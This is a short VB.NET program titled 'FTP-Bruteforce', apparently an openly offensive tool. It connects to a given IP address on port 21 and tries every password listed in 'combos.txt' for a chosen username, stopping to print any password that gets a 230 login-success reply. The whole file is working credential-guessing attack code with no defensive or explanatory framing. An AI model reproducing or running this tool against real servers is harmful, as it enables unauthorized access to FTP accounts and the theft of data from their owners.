FTP-Bruteforce

Imports System.Net
Imports System.Net.Sockets
Imports System.IO
Module Main
    Sub Main()
        Dim line As String
        While True
            line = Console.ReadLine

            If line IsNot String.Empty Then
                Dim br As New Start(line.Split(" ")(0), line.Split(" ")(1))
            End If
        End While
    End Sub
End Module
Public Class Start
    Public Sub New(ByVal _addr$, ByVal _user$)
        Try
            Dim client As New TcpClient
            client.Connect(New IPEndPoint(IPAddress.Parse(_addr), 21))

            Dim streamReader As New StreamReader(client.GetStream)
            Dim streamWriter As New StreamWriter(client.GetStream)

            streamWriter.AutoFlush = True

            Dim br As New hjPassword(_user, streamReader, streamWriter)
        Catch ex As Exception
            Console.WriteLine("{0} doesn't exists", _addr)
        End Try
    End Sub
End Class
Public Class hjPassword

    Private Structure Connection
        Public Shared user As String
        Public Shared streamReader As StreamReader
        Public Shared streamWriter As StreamWriter
    End Structure

    Public Sub New(ByVal _user$, ByVal _streamReader As StreamReader,
                   ByVal _streamWriter As StreamWriter)
        Connection.user = _user
        Connection.streamReader = _streamReader
        Connection.streamWriter = _streamWriter

        Dim hj As New Threading.Thread(AddressOf Me.start)
        hj.Start()
    End Sub

    Private response As String

    Private Sub start()
        For Each password As String In File.ReadAllLines("combos.txt")
            Console.WriteLine("trying password: {0}", password.Trim)

            Connection.streamWriter.WriteLine(String.Format("user {0}", Connection.user))
            Me.response = Connection.streamReader.ReadLine
            Connection.streamWriter.WriteLine(String.Format("pass {0}", password.Trim))
            Me.response = Connection.streamReader.ReadLine

            If Me.response.StartsWith("230") Then
                Console.ForegroundColor = ConsoleColor.Green
                Console.WriteLine("Password: {0}", password.Trim)
                Console.ReadLine()
            End If
        Next
    End Sub
End Class